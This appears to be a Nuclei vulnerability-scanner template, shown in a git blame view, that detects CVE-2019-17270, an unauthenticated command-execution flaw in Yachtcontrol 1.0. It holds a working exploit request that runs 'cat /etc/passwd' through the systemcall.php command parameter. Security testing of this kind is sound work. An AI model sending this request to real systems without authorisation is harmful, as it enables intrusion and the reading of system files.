nuclei-templates/cves/2019/CVE-2019-17270.yaml

30 lines
987 B
YAML
Raw Normal View History

2021-04-18 15:17:43 +00:00
id: CVE-2019-17270
2021-04-18 14:02:04 +00:00
info:
name: Yachtcontrol Webapplication 1.0 - Unauthenticated Rce
author: pikpikcu
severity: high
reference: |
- https://www.exploit-db.com/exploits/47760
2021-04-18 15:17:43 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-17270
2021-04-18 14:02:04 +00:00
description: |
2021-05-16 12:50:33 +00:00
A vulnerability in Yachtcontrol makes it possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
2021-04-18 15:17:43 +00:00
tags: rce,yachtcontrol,cve,cve2019
2021-04-18 14:02:04 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-04-18 14:02:04 +00:00
condition: and
- type: status
status:
- 200